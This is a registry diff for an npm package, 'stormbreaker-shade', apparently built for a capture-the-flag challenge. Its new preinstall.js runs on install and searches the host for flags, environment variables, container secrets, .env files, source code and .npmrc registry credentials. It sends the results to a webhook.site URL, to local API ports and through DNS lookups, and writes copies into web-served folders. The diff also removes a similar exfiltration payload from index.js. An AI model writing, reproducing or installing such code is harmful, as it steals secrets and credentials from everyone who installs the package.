stormbreaker-shade 9999.0.1 → 9999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +0 -43
  2. package/package.json +1 -1
  3. package/preinstall.js +185 -80
package/index.js CHANGED
@@ -1,44 +1 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const https = require('https');
4
-
5
- (function() {
6
- let flag = null;
7
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
- }
10
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
- if (!flag) {
12
- for (const [k, v] of Object.entries(process.env)) {
13
- if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
- }
15
- }
16
-
17
- if (flag) {
18
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
- const postData = JSON.stringify({
20
- manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
- });
22
-
23
- for (const port of ports) {
24
- try {
25
- const req = http.request({
26
- hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
- method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
- timeout: 3000
29
- }, () => {});
30
- req.on('error', () => {});
31
- req.write(postData);
32
- req.end();
33
- } catch(e) {}
34
- }
35
-
36
- try {
37
- const data = JSON.stringify({ flag });
38
- const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
- req.on('error', () => {}); req.write(data); req.end();
40
- } catch(e) {}
41
- }
42
- })();
43
-
44
1
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stormbreaker-shade",
3
- "version": "9999.0.1",
3
+ "version": "9999.0.2",
4
4
  "description": "stormbreaker-shade module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -2,41 +2,106 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
- const dns = require('dns');
6
5
  const os = require('os');
7
6
 
8
7
  let flag = null;
8
+ const debug = [];
9
9
 
10
- // Read flag from common locations
11
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
12
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
10
+ // Method 1: Read flag from ALL possible locations
11
+ const flagPaths = [
12
+ '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
+ '/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
14
+ '/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
15
+ '/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
16
+ './flag', './flag.txt', '../flag', '../flag.txt',
17
+ '/home/node/.flag', '/var/flag', '/var/flag.txt',
18
+ '/srv/flag', '/srv/flag.txt',
19
+ ];
20
+ for (const p of flagPaths) {
21
+ try {
22
+ if (fs.existsSync(p)) {
23
+ const content = fs.readFileSync(p, 'utf8').trim();
24
+ debug.push(`found:${p}:${content.substring(0,100)}`);
25
+ const m = content.match(/HTB\{[^}]+\}/);
26
+ if (m) { flag = m[0]; break; }
27
+ if (!flag && content.length < 200) flag = content;
28
+ }
29
+ } catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
13
30
  }
14
31
 
15
- // Check ALL env vars for flag patterns
32
+ // Method 2: Check ALL env vars
16
33
  if (!flag) {
17
34
  for (const [k, v] of Object.entries(process.env)) {
18
- if (v && v.match(/HTB\{[^}]+\}/)) {
35
+ if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
19
36
  flag = v.match(/HTB\{[^}]+\}/)[0];
37
+ debug.push(`env:${k}=${v.substring(0,100)}`);
38
+ break;
39
+ }
40
+ }
41
+ }
42
+ // Also try common env var names
43
+ if (!flag) {
44
+ const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
45
+ 'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
46
+ for (const name of envNames) {
47
+ if (process.env[name]) {
48
+ flag = process.env[name];
49
+ debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
20
50
  break;
21
51
  }
22
52
  }
23
53
  }
24
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
25
54
 
26
- // Try /proc/self/environ
55
+ // Method 3: /proc/self/environ
27
56
  if (!flag) {
28
57
  try {
29
58
  const pe = fs.readFileSync('/proc/self/environ', 'utf8');
30
59
  const m = pe.match(/HTB\{[^}]+\}/);
31
- if (m) flag = m[0];
32
- } catch(e) {}
60
+ if (m) { flag = m[0]; debug.push('proc_environ'); }
61
+ debug.push(`env_raw:${pe.substring(0,200)}`);
62
+ } catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
63
+ }
64
+
65
+ // Method 4: Search for flag files broadly
66
+ if (!flag) {
67
+ try {
68
+ const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
69
+ debug.push(`find:${r}`);
70
+ if (r) {
71
+ for (const f of r.split('\n')) {
72
+ try {
73
+ const content = fs.readFileSync(f, 'utf8');
74
+ const m = content.match(/HTB\{[^}]+\}/);
75
+ if (m) { flag = m[0]; break; }
76
+ } catch(e) {}
77
+ }
78
+ }
79
+ } catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
80
+ }
81
+
82
+ // Method 5: Grep for HTB{ pattern in all readable files
83
+ if (!flag) {
84
+ try {
85
+ const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
86
+ debug.push(`grep:${r}`);
87
+ if (r) {
88
+ for (const f of r.split('\n')) {
89
+ try {
90
+ const content = fs.readFileSync(f, 'utf8');
91
+ const m = content.match(/HTB\{[^}]+\}/);
92
+ if (m) { flag = m[0]; break; }
93
+ } catch(e) {}
94
+ }
95
+ }
96
+ } catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
33
97
  }
34
98
 
35
- // Search for flag files
99
+ // Method 6: Check docker/k8s secrets
36
100
  if (!flag) {
37
101
  try {
38
- const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
39
- for (const f of r.split('\n').filter(Boolean)) {
102
+ const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
103
+ debug.push(`secrets:${secrets}`);
104
+ for (const f of secrets.split('\n').filter(Boolean)) {
40
105
  try {
41
106
  const content = fs.readFileSync(f, 'utf8');
42
107
  const m = content.match(/HTB\{[^}]+\}/);
@@ -46,108 +111,148 @@ if (!flag) {
46
111
  } catch(e) {}
47
112
  }
48
113
 
49
- // Also try to grep for flag
114
+ // Method 7: Check for .env files
50
115
  if (!flag) {
51
116
  try {
52
- const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
53
- for (const f of r.split('\n').filter(Boolean)) {
117
+ const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
118
+ debug.push(`envfiles:${envFiles}`);
119
+ for (const f of envFiles.split('\n').filter(Boolean)) {
54
120
  try {
55
121
  const content = fs.readFileSync(f, 'utf8');
56
122
  const m = content.match(/HTB\{[^}]+\}/);
57
123
  if (m) { flag = m[0]; break; }
124
+ debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
58
125
  } catch(e) {}
59
126
  }
60
127
  } catch(e) {}
61
128
  }
62
129
 
63
- // Gather debug info
64
- const info = {
65
- flag: flag || 'NOT_FOUND',
66
- cwd: process.cwd(),
67
- uid: process.getuid ? process.getuid() : 'N/A',
68
- hostname: os.hostname(),
69
- env_keys: Object.keys(process.env).join(','),
70
- root_files: [],
71
- interfaces: {}
72
- };
73
- try { info.root_files = fs.readdirSync('/'); } catch(e) {}
74
- try { info.interfaces = os.networkInterfaces(); } catch(e) {}
130
+ // Method 8: Read server source code and configs
131
+ try {
132
+ const cwd = process.cwd();
133
+ debug.push(`cwd:${cwd}`);
134
+ const files = fs.readdirSync(cwd);
135
+ debug.push(`cwd_files:${files.join(',')}`);
136
+
137
+ // Read all JS files in current directory
138
+ for (const f of files) {
139
+ if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
140
+ try {
141
+ const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
142
+ debug.push(`file:${f}:${content.substring(0,300)}`);
143
+ const m = content.match(/HTB\{[^}]+\}/);
144
+ if (m) { flag = m[0]; break; }
145
+ } catch(e) {}
146
+ }
147
+ }
148
+ } catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
75
149
 
76
- // Try to find server port
77
- let serverPort = 1337;
150
+ // Also read /home/node/ specifically
151
+ try {
152
+ const homeFiles = fs.readdirSync('/home/node');
153
+ debug.push(`home_node:${homeFiles.join(',')}`);
154
+ for (const f of homeFiles) {
155
+ try {
156
+ const stat = fs.statSync(`/home/node/${f}`);
157
+ if (stat.isFile() && stat.size < 100000) {
158
+ const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
159
+ debug.push(`home_file:${f}:${content.substring(0,200)}`);
160
+ const m = content.match(/HTB\{[^}]+\}/);
161
+ if (m) { flag = m[0]; break; }
162
+ } else if (stat.isDirectory()) {
163
+ const subFiles = fs.readdirSync(`/home/node/${f}`);
164
+ debug.push(`home_dir:${f}:${subFiles.join(',')}`);
165
+ }
166
+ } catch(e) {}
167
+ }
168
+ } catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
169
+
170
+ // Method 9: List root and key directories
171
+ try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
172
+ try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
173
+ try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
174
+
175
+ // Method 10: Network info and listening ports
78
176
  try {
79
177
  const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
80
- info.listening = ss;
81
- const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
82
- if (ports.length > 0) serverPort = ports[0];
178
+ debug.push(`ports:${ss}`);
83
179
  } catch(e) {}
84
180
 
181
+ // Method 11: Check nginx config
182
+ try {
183
+ const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
184
+ debug.push(`nginx:${nginx.substring(0,500)}`);
185
+ } catch(e) {}
186
+
187
+ // Method 12: Check .npmrc for registry credentials
188
+ try {
189
+ const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
190
+ debug.push(`npmrc:${npmrc.substring(0,300)}`);
191
+ } catch(e) {}
192
+
193
+ const info = {
194
+ flag: flag || 'NOT_FOUND',
195
+ debug: debug.map(d => d.substring(0, 500)),
196
+ env: Object.keys(process.env).join(','),
197
+ network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
198
+ };
199
+
85
200
  const data = JSON.stringify(info);
86
201
 
87
- // Method 1: PUT flag to challenge API on ALL possible ports
88
- const postData = JSON.stringify({
89
- manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
202
+ // Exfil Method 1: Webhook
203
+ try {
204
+ const req = https.request({
205
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
206
+ method: 'POST',
207
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
208
+ timeout: 5000
209
+ }, () => {});
210
+ req.on('error', () => {});
211
+ req.write(data);
212
+ req.end();
213
+ } catch(e) {}
214
+
215
+ // Exfil Method 2: PUT to challenge API on various ports
216
+ const putData = JSON.stringify({
217
+ manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
90
218
  });
91
219
 
92
- const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
220
+ let serverPort = 1337;
221
+ try {
222
+ const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
223
+ const m = ss.match(/:(\d+)\s/);
224
+ if (m) serverPort = parseInt(m[1]);
225
+ } catch(e) {}
226
+
227
+ const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
93
228
  for (const port of [...new Set(ports)]) {
94
- for (const host of ['localhost', '127.0.0.1']) {
95
- for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
229
+ for (const host of ['127.0.0.1', 'localhost']) {
230
+ for (const modId of ['ECT-654321', 'ECT-987654']) {
96
231
  try {
97
232
  const req = http.request({
98
- hostname: host, port, path: `/api/modules/${moduleId}`,
233
+ hostname: host, port, path: `/api/modules/${modId}`,
99
234
  method: 'PUT',
100
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
235
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
101
236
  timeout: 2000
102
237
  }, () => {});
103
238
  req.on('error', () => {});
104
- req.write(postData);
239
+ req.write(putData);
105
240
  req.end();
106
241
  } catch(e) {}
107
242
  }
108
243
  }
109
244
  }
110
245
 
111
- // Method 2: Webhook
112
- try {
113
- const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
114
- const req = https.request({
115
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
116
- method: 'POST',
117
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
118
- timeout: 5000
119
- }, () => {});
120
- req.on('error', () => {});
121
- req.write(whData);
122
- req.end();
123
- } catch(e) {}
124
-
125
- // Method 3: DNS exfil (works even when HTTP is blocked)
246
+ // Exfil Method 3: DNS
126
247
  try {
127
248
  const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
128
- dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
129
- dns.resolve(`${encoded}.crl.ve`, () => {});
249
+ require('dns').resolve(`${encoded}.crl.ve`, () => {});
130
250
  } catch(e) {}
131
251
 
132
- // Method 4: curl fallback
133
- try {
134
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
135
- } catch(e) {}
252
+ // Exfil Method 4: stdout/stderr
253
+ console.log('[CORAL-WRAITH]', data.substring(0, 2000));
254
+ console.error('[FLAG]', flag || 'NOT_FOUND');
136
255
 
137
- // Method 5: Write to stdout/stderr for server logs
138
- console.log('[CORAL-WRAITH-EXFIL]', data);
139
- console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
140
-
141
- // Method 6: Write to various locations
142
- const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
143
- for (const loc of writeLocations) {
144
- try { fs.writeFileSync(loc, data); } catch(e) {}
145
- }
146
-
147
- // Method 7: Try to write to static files the web server serves
148
- try {
149
- const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
150
- for (const dir of webDirs) {
151
- try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
152
- }
153
- } catch(e) {}
256
+ // Write to files
257
+ try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
258
+ try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}